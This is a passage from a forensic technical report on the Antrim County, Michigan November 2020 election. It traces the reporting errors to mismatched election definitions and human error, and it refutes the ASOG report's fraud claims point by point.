serious deficiency in poll worker training or documentation.

These procedural errors may have contributed to the publi-
cation of incorrect results in November 2020. Had the cards
loaded, the county-wide discrepancies would have been even
more stark, making it more likely that county staff would
have noticed before posting the report. Moreover, the error
message when loading the Warner card might have alerted
staff that there was a potentially serious problem, had not a
superficially similar issue occurred in August for which the so-
lution was simply to enter results manually. This appears to be
an instance of normalization of deviance—aberrant practices
coming to be considered harmless if they do not immediately
cause a catastrophe—a phenomenon that has contributed to
major disasters in aerospace and industry [46].
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Final Results Reproduced Error ∆

Biden Trump Jorgensen Biden Trump B T

Banks 349 756 11 (a) 349 756 0 0
Central Lake 549 906 16 (a) 549 906 0 2
Chestonia 93 197 3 ← 197 3 0 0
Custer 240 521 11 ← 521 11 2 0
Echo 198 392 8 ← 392 8 0 0
Elk Rapids 1 784 611 5 (b) 784 611 0 0
Elk Rapids AV 202 414 12 ← 414 12 0 2
Forest Home 610 753 19 ← 753 19 2 0
Helena 306 431 4 ← 431 4 1 0
Jordan 183 371 13 ← 371 13 1 0
Kearney 471 743 16 ← 743 16 1 0
Mancelona 1 276 835 20 (c) 276 835 0 0
Mancelona 2 247 646 13 (c) 247 646 0 0
Milton 1 143 478 12 (b) 143 478 0 0
Milton AV 626 543 6 ← 543 6 0 0
Star 161 462 10 ← 462 10 0 0
Torch Lake 462 526 7 ← 526 7 1 1
Warner 60 163 3 (b) 60 163 0 0

Total 5960 9748 189 7761 4504 8 5
Precinct notes: (a) IDs not shifted; (b) Entered manually; (c) Used updated card

Table 3: Approximating the Presidential Errors. A simple rule closely reproduces the erroneous initial results. Working backwards from
the final results (left), shift Trump’s votes into Biden’s column and Jorgensen’s into Trump’s column (right), except for in precincts that were
unaffected for the reasons noted. This yields totals that differ from the initial results by only 13 votes, or 0.1% (∆). The erroneous initial results
can be reproduced exactly by accounting for the more complex effects of overvotes and the straight-party option and for the Central Lake rescan.

3.6 Effects on the Presidential Contest
The presidential candidates appeared in the same order on all
ballots, beginning with Biden, Trump, and Libertarian Party
candidate Jo Jorgensen. The ballots also contained a “Straight
Party Ticket” option, for which the first three choices were the
Democratic, Republican, and Libertarian parties. If the voter
selected a party, that party’s presidential candidate would re-
ceive a vote unless the voter selected a presidential candidate
from a different party or a write-in.

The initial presidential results from several scanners were
unaffected by the election definition mismatch. In Banks, the
election definition simply did not change. In Central Lake,
although the altered school board race affected choice in-
stance IDs for all subsequent contests, it occurred after every
instance of the presidential contest within the township. Both
Mancelona cards were provisioned with the revised election
definition before the election. Finally, the Elk Rapids 1, Mil-
ton 1, and Warner cards could not be loaded into the EMS, so
the initial results were entered manually and unaffected.

The initial results from all other scanners were impacted
in a consistent way. The EMS ignored selections for Biden,
treated selections for Trump as selections for Biden, and
treated selections for Jorgensen as selections for Trump. Other
third-party candidates and write-ins were similarly shifted.
The same pattern occurred with the straight-party option. Con-
sidering the effects on the straight-party and presidential selec-

tions together, the EMS ignored most votes intended for Biden,
reported all votes intended for Trump as votes for Biden, and
reported all votes intended for Jorgensen as votes for Trump.

This pattern lets us almost exactly reproduce the erroneous
initial results from the final presidential results by simply shift-
ing the totals for each candidate in the affected precincts, as
shown in Table 3. Biden and Trump’s totals in this reconstruc-
tion differ from the initial results by only 13 votes (0.1%).

This small difference is due to unusual cases not covered
by the simple rule above. Ballots with both the Republican
straight-party option and Biden selected were correctly re-
ported as votes for Biden, because the EMS misinterpreted the
candidate selection as blank but also misinterpreted the party
selection as Democratic. Similarly, ballots marked for the
Libertarian straight-party option and for Biden were reported
as votes for Trump, since the EMS misinterpreted them as
having the Republican Party selected with no selection in the
presidential contest. Table 4 lists all cases in which the EMS
attributed correctly marked ballots to Biden and to Trump.

Finally, if the voter made two selections in the straight-party
option or for president, this creates an overvote condition
and should lead to both being ignored. However, if one of
the marks was for the Democratic Party or Biden, the EMS
ignored that mark but accepted the second mark as if it had
been shifted one place up the ballot, leading to a complicated
set of potential errors. Such overvotes were extremely rare.
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Voter’s Selections EMS Interpretation Correct
Vote

EMS
ReportedParty President Party President

No selection Trump No selection Biden Trump ̸= Biden
X Trump X −1 Biden Trump ̸= Biden

Republican No selection Democratic No selection Trump ̸= Biden
Republican Biden Democratic No selection Biden = Biden

No selection Jorgensen No selection Trump Jorgensen ̸= Trump
X Jorgensen X −1 Trump Jorgensen ̸= Trump

Libertarian No selection Republican No selection Jorgensen ̸= Trump
Libertarian Biden Republican No selection Biden ̸= Trump

Table 4: Votes Reported for Trump and Biden. As a result of the mismatched election definitions, when the EMS interpreted memory cards
from most scanners that used the initial election definition, Biden received the votes intended for Trump plus those of voters who selected the Re-
publican straight-party option but split the ticket for Biden. Trump received the votes intended for Libertarian candidate Jo Jorgensen plus those
of voters who selected the Libertarian straight-party option but split the ticket for Biden. X represents any choice, and X −1 the choice above it.

3.7 Data Entry Errors
To correct the errors caused by the mismatched election defini-
tions, county workers manually entered results for all affected
tabulators and published a second, partial set of unofficial re-
sults on November 5 [4]. However, due to an operator error, to-
tals for three precincts included both the manually entered re-
sults and the incorrect results loaded from the memory cards.

While entering results, county staff discovered that the poll
tape for Central Lake Village contained the wrong school
board race, because the memory card had used the initial
election definition from before the race was corrected. To
fix this, county staff reinitialized the Central Lake memory
card using the revised election definition, and the township
scanned the ballots again on November 6 [2].

The County Board of Canvassers certified the official re-
sults late on November 6, including the results from rescan-
ning Central Lake. However, some results did not match the
poll tapes as a result of data entry errors. The most common
kind of error was contests or candidates that were omitted,
but there were also some typographical errors. In all, these
errors affected about 2.6% of votes county-wide.

Michigan canvassing procedures call for county canvassers
to compare the reported results to the poll tapes from individ-
ual machines [29], so these errors should have been caught
on November 6, but they were not. Checking the poll tapes is
important not only for catching data entry errors but also as a
security mechanism: it ensures that result are not manipulated
during transmission from the polling places, or by accessing
the EMS after the election. That this comparison was not cor-
rectly completed by the canvassers in Antrim is a significant
procedural breakdown that warrants further investigation.

Antrim amended its certified results on November 16 to
fix data entry errors in one township and again on November
21 to fix data entry errors in five more townships. These
second amended certified results remain the official results
of the election [7]. The Board of State Canvassers certified
Michigan’s state and federal results on November 23 [26].

3.8 Confirming That Errors Have Been Corrected
I conducted a series of experiments to confirm that the expla-
nations discussed above fully account for the discrepancies
between the county-level results and the poll tapes and to
verify that these discrepancies have been corrected.

Remedying the Election Definition Mismatch I used the
EMS software to test whether loading the memory cards using
a matching election definition would produce the reported re-
sults. First, I loaded the initial election project and attempted
to load the memory cards from all scanners that used the ini-
tial election definition for which electronic results were avail-
able.2 These 13 cards loaded successfully, including Warner’s,
which had failed to load on election night. Using a series of
SQL queries, I confirmed that the results obtained in this way
matched the final certified results from the EMS database.3

Next, I restored the revised election project and loaded the
Central Lake and Mancelona 1 and 2 memory cards under the
revised election definition. The loaded results again matched
the final results in the EMS database. This demonstrates that
using matching election definitions would have prevented the
reporting anomalies. It also confirms that the manually en-
tered results from the 16 scanners for which memory card data
is available do not contain further data entry errors and match
the results that would have been obtained from the cards.

Electronically Counting Votes Without the EMS In a sec-
ond experiment, I counted the presidential results from the
cards without relying on the EMS software. This provides an
independent check of the accuracy of the results aggregation.

Each memory card stores cast vote records (CVRs) in a pro-
prietary binary file format. The files are encrypted using AES
in CBC mode, but the encryption key and initialization vector

2That is, all but Central Lake and Mancelona 1 and 2, which scanned
using the revised definition, and Elk Rapids 1 and Milton 1, where the cards
were rezeroed at the polling places.

3The only discrepancy was that the Boyne Falls Public Schools Millage
appears in the reported results for Warner (with zero recorded votes) but is
not present on the Warner memory card. I explain why in Section 4.
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can be retrieved from the EMS database. I decrypted the files
and reverse engineered the data format. Each voting target
is represented by the associated ballot ID, contest instance
ID, and choice instance ID, and by a boolean value indicating
whether the scanner detected that the target was marked.

I created a Python script to extract the set of marked targets
from each memory card and to count them using election
definition data from either the initial or the revised election
project database. Producing correct counts required several
considerations. The program first verifies that each marked
choice instance ID is in fact associated with the contest in-
stance ID given in the CVR, and otherwise it ignores the mark.
Next, it discards any overvotes and then applies Michigan’s
straight-party voting rules to partisan contests.

I used the program to count the CVRs from each card with
the matching version of the election definition. As expected,
every card that contains results data (i.e., all but Elk Rapids 1
and Milton 1) exactly matched the final presidential results.

I then used this program to count all cards under the revised
election definition, mimicking the behavior of the EMS on
election night. As expected, the presidential results were an
exact match for the initial results, except for those that were
entered manually and Central Lake, which matched the results
of the rescan. This provides additional confirmation that the
mismatched election definitions caused the major errors.

Manually Comparison to the Poll Tapes For additional con-
firmation, I manually compared the final election results [7]
to copies of the poll tapes provided by the county.4 The re-
sults on the poll tapes for all contests in all precincts are
correctly reflected in the final results. This confirms that the
county-level reporting anomalies have been fully corrected.

4 Discrepancies in the Scanner Poll Tapes
The analysis above firmly establishes that the major reporting
anomalies resulted from Antrim’s failure to ensure that all
scanners used the same election definition as the EMS. It also
shows that the errors introduced during county-wide reporting
have been corrected, and the final results match the poll tapes.

However, the poll tapes from certain precincts themselves
contain errors that affect smaller numbers of votes, mainly in
specific down-ballot contests. These errors have a different
pattern than the major reporting anomalies. In most precincts,
the design of the printed ballots was not changed, and so the
individual scanners counted normally whether they were us-
ing the initial or the revised election definition. But ballot
designs were changed in parts of three townships—Central
Lake, Mancelona, and Warner—and I show that the changes
led to a small number of errors on poll tapes within these
localities. I investigate what caused the poll tape errors, de-
termine the effects, and show that certain errors affecting a
small number of votes remain uncorrected in the final results.

4The final certified results published on Antrim’s website [7] are missing
pages 47–48, containing parts of two contests, likely due to human or mechan-
ical error during scanning. Antrim provided the missing pages at my request.

4.1 Outdated Ballots and Election Definitions
Two factors led to inaccuracies in these townships. First, scan-
ners using the initial election definitions omitted contests and
choices that were added when the ballot designs were revised,
and they miscounted choices for which voting targets changed
position. Second, some of the paper ballots themselves used
the outdated designs, and these were analogously miscounted
when scanned using the revised election definitions.

The last-minute ballot design changes occurred after ab-
sentee voting had begun. For instance, according to Antrim
County, 224 absentee ballots for Central Lake Village had
been sent to voters before the change. Although these voters
were later sent corrected ballots, some of them voted using
the initial ballot designs. There was apparently no special
process for handling the initial ballots that were received—
they were scanned mixed together with the revised ballots.
Because ElectionSource had regenerated the ballot designs
in such a way that the initial and revised designs used the
same ballot design IDs, there was no way for the scanners
to distinguish between the two versions. They acted as if all
used either the initial design or the revised design, depending
on which election definition was on the memory card.

Effects in Warner Township The ballot for Warner Town-
ship Precinct 1BF was altered to add a missing contest, the
Boyne Falls Public Schools Sinking Fund Proposal, as shown
in Figure 1c. It was added to the end of the last column of
the ballot, so no other contests or voting targets were affected.
However, as the Warner scanner was never updated to read
the revised ballot design, votes in this contest were not read
by the scanner at all, and it does not appear on the poll tape.

There were only there registered voters in Warner 1BF.
The EMS shows three ballots were cast, but no votes were
recorded for the Sinking Fund contest. Some voters may have
left it blank, and any who voted ballots using the initial design
would have lacked the contest entirely. Therefore, we can
conclude only that 0–3 votes in the Sinking Fund contest were
never counted. This is too few votes to affect the outcome.

Effects in Mancelona The Mancelona Precinct 1V (Mance-
lona Village) ballot was revised to add a missing candidate
for Village Trustee, Eugene K. Kerr. The contest also changed
from vote-for-three to vote-for-two, so the effect was that Kerr
replaced a write-in blank, and no other contests or choices
changed position, as shown in Figure 1b.

Mancelona’s scanners used the revised election definition,
but some absentee voters may have used the initial ballot de-
sign. Since the scanners were not configured to read it, if any
of these voters selected the first write-in blank, the scanners
would have misinterpreted this as a vote for Kerr. Likewise,
if any of these voters selected three candidates, the votes
would have been unexpectedly ignored as overvotes. The
data is insufficient to determine how many votes, if any, were
affected. However, the contest was decided by a large margin,
so the outcome was likely unaffected by these unusual cases.
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Figure 3: Central Lake scanned ballots twice, first with the initial election definition (left) and then with the revised election definition (right).
Some ballots used the initial design and others used the revised design, in which targets for State Proposal 20-1 shifted down by one row. In
both scans, Proposal 20-1 selections on ballots that did not match the election definition in use were miscounted, as shown in boxes at bottom.

4.2 Effects in Central Lake
The effects of the ballot design changes in Central Lake were
considerably more complicated. Figure 3 shows how the bal-
lot design in Central Lake Precinct 1V (Central Lake Village)
was altered to correct the school board contest from Ellsworth
Schools to Central Lake Schools. This changed the name of
the contest and candidates and also the allowed number of
selections, which increased from two to three. The increase
necessitated an additional write-in blank, which shifted the
the contest below, State Proposal 20-1, down by one row.

Central Lake used the initial election definition on election
day, and results loaded from the memory card were included in
the first unofficial results. The township then rescanned using
the revised election definition on Nov. 6, producing a second
poll tape, which was manually entered as part of the certified
results. Results in the three contests affected by the ballot
changes differed dramatically between the two scans. Neither
set of results is correct, since ballots that used the revised de-
sign were read incorrectly during the first scan and vice versa.

Effects on the School Board Contest During the second
scan, the scanner interpreted ballots that used the initial de-
sign, showing the Ellsworth Schools contest, as if they had
votes for the Central Lake Schools contest, and awarded votes
to candidates in the equivalent positions. On these ballots,
the darkly shaded “Proposal Section” header occupies the

position of the voting target for the third write-in blank on the
revised design. This caused the scanner (which only senses
shading) to act as if there was a vote for the third write-in. The
memory card records 10 write-ins cast using the first blank, 4
using the second, and 74 using the third. Since voters usually
use earlier write-in blanks before later ones, this strongly sug-
gests that at least 70 ballots used the outdated ballot design.
Given the reported margins, these ballots are unlikely to have
affected the outcome of the Central Lake Schools contest.

Effects on State Proposal 20-1 The poll tapes also contain
incorrect results for State Proposal 20-1, as depicted towards
the bottom of Figure 3. In the revised ballot design, the voting
target for “Yes” is in the same position as the target for “No”
was in the old design, and the target for “No” is in a position
that was unused in the old design. In the first scan, revised
ballots were misread such that the poll tape reported “Yes”
votes as “No” and failed to record “No” votes at all. During
the second scan, ballots that used the initial design had “Yes”
votes ignored and “No” votes counted for “Yes”. Since the
final reported results match the poll tapes, these errors have
not been corrected. In Appendix B, I use data from the two
scans to estimate that approximately 61 votes were not incor-
porated into the final results. Since State Proposal 20-1 was
decided by more than 3 million votes statewide, the error in
Central Lake Village could not have affected the outcome.
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Election Day Scan (Nov. 3) Second Scan (Nov. 6)

Figure 4: Central Lake Village Marihuana Initiative. Central
Lake scanned its ballots twice. In one local contest, the poll tapes dif-
fer by one vote—enough to change the outcome. The data suggests
that three ballots that were scanned on Nov. 3 were omitted when bal-
lots were rescanned on Nov. 6, either correctly or due to human error.

4.3 Three Potentially Missing Ballots
Beyond the discrepancies noted above, the two Central Lake
scans show a large number of small differences. Many con-
tests have one or two fewer votes in the second scan. One of
these differences potentially affected the outcome of a local
contest held in part of the township, the Central Lake Village
Marihuana Retailer Initiative (Figure 4). In the first scan, the
initiative was tied (and thus defeated), but in the second scan,
which became the final result, it passed by a single vote.

The scanner log from election day, as recorded in the EMS,
shows that 1494 ballots were scanned in all of Central Lake.
Yet the log from the memory card shows that only 1491 ballots
were scanned on November 6. Antrim has not offered an
explanation for this difference, but the data suggests that three
ballots that were included in the first scan were omitted when
the ballots were rescanned, whether correctly or erroneously.

The memory card from the first scan was overwritten to
prepare it for the second scan, so the original digital records
of the ballots are not available. However, the EMS database
contains CVRs derived from the original memory card. Using
this data, I was able to reconstruct the scanner’s interpretation
of the three ballots, shown in Figure 7 in the appendix.

The CVRs in the EMS record the EMS’s interpretation of
each ballot, which was sometimes affected by the election
definition mismatch. Within Central Lake, only ballots from
Central Lake Village are affected, and then only particular
contests. Selections for the third write-in blank in the school
board contest were never recorded. In subsequent contests,
selections for the first choice were never recorded, and those
for any later choice were assigned to the preceding choice. I
extracted the CVRs for the first scan from the EMS database
and the CVRs for the second scan from the memory card.

After accounting for the election definition mismatch, all but
three ballots from the first scan also appear in the second scan.

The first ballot is from Central Lake Precinct 1CENT; the
reconstruction is complete, since this precinct was not affected
by the election definition mismatch. The second ballot is from
Central Lake Village and so would have been affected by the
mismatch, but it was recorded by the EMS as blank. The third
ballot is also from Central Lake Village. After correcting for
the election definition mismatch, the data indicate that the
scanner detected a mark for “No” in the Marihuana Initiative.

There are multiple possibilities for why these three ballots
were not included in the second scan. For instance, it is pos-
sible that they were deemed invalid due to some defect and
properly excluded (as may be suggested by the fact that one
was blank). It is also possible that the election workers simply
did not scan them the second time, due to human error. If
these ballots are valid, it is likely that the final outcome of the
Central Lake Village Marihuana Retailer Initiative is incorrect
and that the true result is a tie, as shown on the election day
poll tape. As no one requested a recount during the statutory
period for challenging the result, the final outcome stands.

4.4 Results of the Presidential Hand Count
On December 17, the state conducted a county-wide hand-
count of the presidential contest [32]. It provides strong empir-
ical evidence that there are no significant errors in Antrim’s fi-
nal presidential results, including due to any scanning mishap.
The recount [31] showed a loss of 1 vote for Biden, a gain
of 12 votes for Trump, and gains of 1 vote for three other
candidates. Although Trump’s total changed by more than
any other candidate’s, it differed from the county’s final result
by only about 0.1%. (Trump lost state-wide by 2.8%.)

The precinct-level totals closely matched the scanner re-
sults. Within individual precincts, Trump and Biden’s re-
sults changed by at most three votes, except in Star Town-
ship, where Biden gained 5 votes and Trump gained 6. Eight
precincts showed no change for either Trump or Biden, and
six (including Central Lake and Warner) showed no changes.

Small differences are common when ballots are counted by
hand [21]. Sometimes people counting ballots make mistakes.
Humans also interpret some votes differently than do optical
scanners, which can misread votes when voters incompletely
fill-in voting targets or otherwise deviate from ballot instruc-
tions. Such “marginal marks” can cause scanners to fail to
count a valid vote, count an invalid vote, or assign a vote to
the wrong candidate [8].

Notably, the hand-count results from Central Lake agree
with the results of the township’s second scan, which found
906 votes for Trump, and not the first scan, which found 908
votes for Trump. This may indicate that the three ballots
discussed above (two of which my reconstruction shows were
marked for Trump) were not present during the hand count. It
is also possible that this is a coincidence, and Trump lost two
votes in the Central Lake hand count for unrelated reasons.
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5 Critique of the ASOG Report
This section reviews the ASOG report in light of the preceding
analysis. The “Antrim Michigan Forensics Report—Revised
Preliminary Summary, v2”, dated December 13, 2020, was
prepared by Russell James Ramsland, Jr., of Allied Security
Operations Group (ASOG) based on his analysis of the same
forensic data I examined. A redacted version is available on-
line [24]. The report contains an extraordinary number of
false, inaccurate, or unsubstantiated statements and conclu-
sions, many of the most serious of which I refute below.

5.1 Claims Regarding Adjudication
Ramsland’s central conclusion is that “the Dominion Voting
System is intentionally and purposefully designed with in-
herent errors to create systemic fraud and influence election
results.” His reasoning is that the system generates many er-
rors while scanning ballots in order to cause the images of the
ballots to be reviewed by an EMS operator, a process known
as electronic adjudication in which the votes can be manually
edited. This provides an opportunity, Ramsland believes, for
a malicious operator to change votes without being detected.
Citing his forensic examination, Ramsland claims that a “stag-
gering number of votes [in Antrim] required adjudication,”
and that “all adjudication log entries for the 2020 election
cycle are missing” and must “have been manually removed.”

There are several problems with this theory. First, adjudica-
tion occurs after ballots are scanned and poll tapes are printed.
In Antrim, the final results match the poll tapes in essentially
all cases and thus could not have been altered in adjudication.

Second, Ramsland mischaracterizes the adjudication pro-
cess. Dominion’s adjudication system produces detailed logs,
which are recorded in the EMS together with the ballot scan
and the scanner’s original interpretation, as illustrated in Fig-
ure 5. Far from being an ideal way to cheat without possibility
of detection, adjudication creates abundant digital evidence.

Third, and fatally, electronic adjudication functionality was
not enabled in Antrim during the November 2020 election. It
is an optional component of Democracy Suite. Antrim did not
purchase it, and my examination of the EMS shows that it was
not installed. There are no adjudication logs for the simple rea-
son that adjudication was not used. Moreover, the tabulators
were not configured to store ballot images—a necessary pre-

Figure 5: An Adjudicated Vote. Dominion’s adjudication system
stores the ballot image, the scanner’s interpretation of the votes, and
a log of any changes made by the system operator. Electronic ad-
judication is an optional feature and was not used in Antrim County.

condition for electronic adjudication—and my inspection of
the memory cards confirms that no ballot images are present.
Far from a “staggering number” of ballots being adjudicated,
the actual number was zero, and therefore Ramsland’s theories
are completely inapplicable to the incident in Antrim.

5.2 Claims Regarding Errors and Error Rates
Ramsland claims that Antrim’s scanners exhibited a high
rate of errors during ballot processing as a means of enabling
systemic fraud. Some scanning errors did occur, as I explained
in Section 4, but they affected only specific contests in a small
number of precincts, and there is no reason to believe they
were intentional. However, Ramsland is largely referring to
others kinds of errors that he believes occurred on the basis
of mistaken interpretations of the forensic evidence.

For instance, the report repeatedly refers to an error rate
of 68.05%. Ramsland calculates this from the Central Lake
scanner log, which contains 15,676 lines, 10,667 of which he
classes as errors. These “resulted in overall tabulation errors
or ballots being sent to adjudication,” he says, concluding that
“[t]his high error rate proves the Dominion Voting System is
flawed and does not meet state or federal election laws.” In
actuality, the 68% figure is meaningless. Scanning a ballot
produces a variable number of log lines (from two to dozens),
often including many benign warnings or errors. The fraction
of lines does not represent a fraction of ballots or votes.

Moreover, the errors in the log file do not mean what Ram-
sland purports them to. He claims that “there were 1,222
ballots reversed out of 1,491 total ballots cast, resulting in
an 81.96% rejection rate. All reversed ballots are sent to ad-
judication.” This is referring to log entries that say, “Ballot
has been reversed.” These entries have nothing to do with
adjudication. They mean that the ballot has been returned to
the voter; i.e., the paper feeding mechanism has been reversed,
as when a vending machine returns a misfed bill. This is a
benign and common occurrence. It often takes multiple tries
to feed a ballot into a scanner, particularly when using a ballot
privacy sleeve like those provided in Michigan.

Ramsland goes on to claim that on “November 21, 2020, an
unauthorized user unsuccessfully attempted to zero out elec-
tion results.” His evidence is an EMS log entry, “EmsLogger -
There is no permission to {0},” which he claims “is direct proof
of an attempt to tamper with evidence.” Programmers will
recognize that {0} is merely a format-string placeholder [37].
It has nothing to do with “zeroing” election results.

Citing another EMS log entry, “XmlException: The ’ ’ char-
acter, hexadecimal value 0x20, cannot be included in a name”,
Ramsland concludes, “Bottom line is that this is a calibration
that rejects the vote.” This is baseless. The error refers to
an XML attribute or entity name, which are not allowed to
contain whitespace [13]. It has no relation to candidate names,
and there is nothing to suggest it resulted in a rejected vote.

Ramsland further claims that the scanner log shows that
“RCV or Ranked Choice Voting Algorithm was enabled”
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which “allows the user to apply a weighted numerical value to
candidates and change the overall result.” However, although
some log entries reference the voting system’s RCV feature,
they do not indicate that it was enabled. The EMS and mem-
ory card data show that RCV was not in use, as do the results
of the hand recount of the presidential contest.

5.3 Claims Regarding “Software Updates”
Ramsland repeatedly mischaracterizes the updates to the scan-
ner election definitions as “software updates.” Although some-
times referred to as “ballot programming,” election definitions
in the Dominion system are not software but rather data files
that specify the layout of the ballots. Ramsland is wrong when
he describes Central Lake as scanning twice with “different
software versions of the operating program to calculate, not
tabulate votes.” The scanner used the same software both
times but was configured using different election definitions.
Ramsland seems to confuse ballot definition changes with
firmware updates. Ballot definitions are necessarily changed
for every election, but there is no evidence that any firmware
updates occurred during the 2020 election cycle in Antrim.

5.4 Claims Regarding Security Problems
Some of the ASOG report’s claims about security problems
in Antrim’s election equipment are correct or based in fact,
but Ramsland draws several incorrect conclusions.

Software Updates The report is correct that the EMS is miss-
ing important Windows security patches, potentially leaving
it vulnerable to various methods of attack. It runs Windows 10
version 1607, which was released in 2016, and it appears not
to have had any updates installed for at least two years. The
antivirus definitions are similarly out of date.

This is a serious security problem, but Ramsland is wrong
that “[t]here is no way this election management system could
have passed tests or have been legally certified.” In fact, miss-
ing software updates are frequently an unfortunate conse-
quence of the federal certification process, under which voting
system vendors must obtain EAC approval for any changes to
election software, including Windows updates [45]. If there
are any security updates that have been approved for the Do-
minion system, Antrim should promptly install them. How-
ever, installing unapproved updates, even for critical vulnera-
bilities, would potentially violate the system’s certification.

Network Connectivity The report is correct that Dominion
scanners have the ability to be connected to external networks,
which some Michigan jurisdictions use to transmit prelimi-
nary results to their EMSes via wireless modems. The Michi-
gan Secretary of State’s Election Security Advisory Commis-
sion has recommended that jurisdictions discontinue wireless
result transmission, warning that the practice creates risks
that “unofficial results could be intercepted or manipulated,
that the locality’s election management system server could
be attacked remotely over the network, or that optical scan-
ners could themselves be remotely attacked” [36]. However,

Antrim did not purchase and does not use the Dominion wire-
less functionality. Instead, results are returned by physically
transporting memory cards. Based on the EMS logs, it does
not appear that the EMS has ever been connected to a network.

Security Event Log The report is correct that the Windows
security event log in the EMS image only contains entries
extending back to November 4, 2020, the day after the elec-
tion. However, the timing appears to be a coincidence: the
system is configured so that the maximum log size is 192 MB,
and when it grows beyond this size, the oldest entries are
automatically removed. Nevertheless, since security logs are
important sources for forensic investigation, they should be
retained for as long as they are potentially relevant. The fixed
size used in Antrim was clearly too small.

Authentication and Access Control The report is correct
that the authentication and access control mechanisms on the
EMS have serious weaknesses. Antrim workers almost exclu-
sively used a single Windows user account that had full ad-
ministrative privileges, including to alter log files and bypass
other security controls. For instance, anyone logged into this
account can make arbitrary changes to the election databases
using SQL Server Management Studio (which is already in-
stalled), and this database access can be used to circumvent
account passwords within the EMS software applications.

The report also states that the EMS hard disk was not
encrypted. This would make it possible for an attacker with
physical access to the computer to bypass the Windows
account passwords, install malicious software, and read or
change arbitrary data. Whether or not Antrim maintains strong
physical security for the EMS, disk encryption should be
enabled going forward to provide an added layer of defense.

These genuine security problems should be mitigated
promptly. However, there is no evidence that any security
problem was ever exploited against Antrim’s election system.
As my analysis shows, the anomalies that occurred in the
November 2020 results are fully explained by human error.

6 Conclusions and Recommendations
My investigation shows that the Antrim incident was initiated
by unusual circumstances. After making last-minute revisions
to certain ballot designs, workers made two key errors that
directly led to inaccurate results: (i) County staff failed to
ensure that all scanners used the revised election definition;
this caused the EMS to misinterpret some scanner results,
leading to major election-night reporting errors (now fully
corrected). (ii) Township staff failed to ensure that all ballots
used the revised ballot designs; those that did not match the
scanner configurations were misread, leading to smaller errors
in specific down-ballot contests (that remain uncorrected).

Antrim could have discovered these problems before in-
correct results were published or deemed official, but several
opportunities to do so were missed: (i) Townships failed to
notice poll tape errors during pre-election testing; (ii) Poll
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workers erased memory cards, making the reporting errors
harder to spot; (iii) County staff did not adequately investi-
gate EMS errors on election night; (iv) County staff failed to
“sanity-check” the initial results before posting them.

To their credit, the county and state quickly understood the
technical cause of the major anomalies. However, during the
process of correcting the original problems, further human
errors occurred that led to additional inaccurate results: (i)
County staff neglected to remove bad data before publishing
updated results on November 5, again causing widespread
reporting errors (later corrected); (ii) County staff made data
entry errors when manually inputting results, affecting more
than 2% of reported votes across the county (now fully cor-
rected); (iii) County canvassers failed to ensure that all results
matched the poll tapes, allowing data entry errors to affect
some of the certified results (now corrected); (iv) Three bal-
lots may have been omitted when Central Lake rescanned
on November 6, which possibly changed the outcome of the
Central Lake Village Marihuana Retailer Initiative.

The events in Antrim serve to remind us that elections are
complex human processes that depend on the careful opera-
tion of technology and the faithful execution of procedures
by people who, like everyone, occasionally make mistakes.
That so many mistakes happened in Antrim speaks in part
to the extreme pressures that election workers faced in 2020,
amidst a pandemic and a bitterly contested presidential race.
While some of these human errors would have been harmless
individually, several of the procedures that broke down were
also important security protections, and the combined effect
of the mistakes undermined safeguards that should have en-
sured accuracy. Fortunately, my analysis was able to precisely
account for all known anomalies in Antrim’s November 2020
results, and none was the product of a security breach.

6.1 Recommendations
Antrim’s experience suggests several lessons for improving
the administration of future elections within the county, across
the state, and throughout the country.

Strengthening Procedural Failsafes Jurisdictions should
require end-to-end pre-election testing, in which memory
cards from scanning test ballots are loaded into the EMS and
the results are checked for accuracy. Such testing would have
detected the mismatched election definitions in Antrim.

All states should also require a post-election comparison be-
tween reported results and the original poll tapes (and Michi-
gan, which already requires such checks, should ensure they
are properly performed). This provides an additional safe-
guard against errors introduced during reporting.

Finally, Michigan and other states should expand the use
of risk-limiting audits (RLAs) so that they occur in all major
contests. RLAs ensure that if the reported outcome is wrong,
the audit has a high probability of proceeding to a full hand
count [25]. This provides a last line of defense against error
and fraud and additional basis for voter confidence.

Improving Usability for Election Workers Much research
has addressed the usability of election technology for voters
(e.g., [1, 9, 11, 39]), but there has been little attention to us-
ability problems confronting election workers [15]. While
there is no credible evidence that the Dominion system was
deliberately designed to induce errors, the events in Antrim
show that there were missed opportunities for the software to
do more to help election staff avoid making mistakes. When
modifying the ballot designs, the software stated that old bal-
lots and election definitions would be “unusable,” but it failed
to warn that using them anyway could lead to erroneous re-
sults. The EMS and scanners were also not programmed to
detect or prevent the use of such incompatible ballots and
election definitions. Dominion should revise its software to
address these, and other voting system vendors should review
their equipment to determine whether reporting errors could
potentially occur under similar circumstances. Vendors, states,
and researchers should devote more attention to usability in
election management software, documentation, and training.

Safeguarding Election Management Systems The Antrim
EMS lacked important security updates, had weak authentica-
tion and access control mechanisms, and was vulnerable to
compromise if an attacker had physical access to the computer.
These are serious issues, and vendors and jurisdictions should
work to mitigate them on a priority basis, even though there is
no indication that any of them was ever exploited in Antrim.
Jurisdictions should pay particular attention to the physical
security of EMS components. Although Antrim did not trans-
mit scanner results over the Internet or use wireless modems,
localities that do should discontinue these risky practices [36].

Facilitating Post-Election Forensics Jurisdictions should
consider enabling the capability of their scanners to save
ballot images. Although ballot scans cannot substitute for
an RLA of the physical ballots [10], they may help resolve
questions about the accuracy of results in future incidents,
especially if the integrity of the paper trail is in doubt. Juris-
dictions should also retain digital election records, such as
memory cards and EMS data, for as long as physical records
are kept. (Memory cards are commonly reused for the next
election.) The events in Antrim demonstrate that such digital
records can provide important evidence for investigating—or
disproving—problems that are later discovered or alleged.

Learning from Election Incidents When future election in-
cidents occur, even if they receive less public attention than
the events in Antrim County, responsible states should con-
sider performing investigations like this one to ensure that
the problems are well understood and that lessons are dissem-
inated to help other jurisdictions avoid similar issues. Post-
incident technical investigations occur rarely in the elections
world [47], but they are widely practiced in industries that
prioritize safety and reliability, including transportation [20]
and engineering [41]. Normalizing them within election ad-
ministration would help uphold and enhance public trust.
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Nov 03/2020 06:46:02 ***********************************
Nov 03/2020 06:46:02 * System Starting
Nov 03/2020 06:46:02 * Model Type PCOS-320C (Rev 1072)
Nov 03/2020 06:46:02 * Serial Number: AAFAJHX0109
Nov 03/2020 06:46:02 * Protective Counter: 5360
Nov 03/2020 06:46:02 * Software Version: 5.5.3-0002 #2

Fri Jul 27 09:18:31 CDT 2018
Nov 03/2020 06:46:02 * Election Project: Antrim November 2020
Nov 03/2020 06:46:02 ***********************************

...
Nov 03/2020 20:15:28 Total number of ballots = 1423.
Nov 03/2020 20:16:14 Administrator key for ’Admin’ detected.
Nov 03/2020 20:16:14 Administrative Key inserted
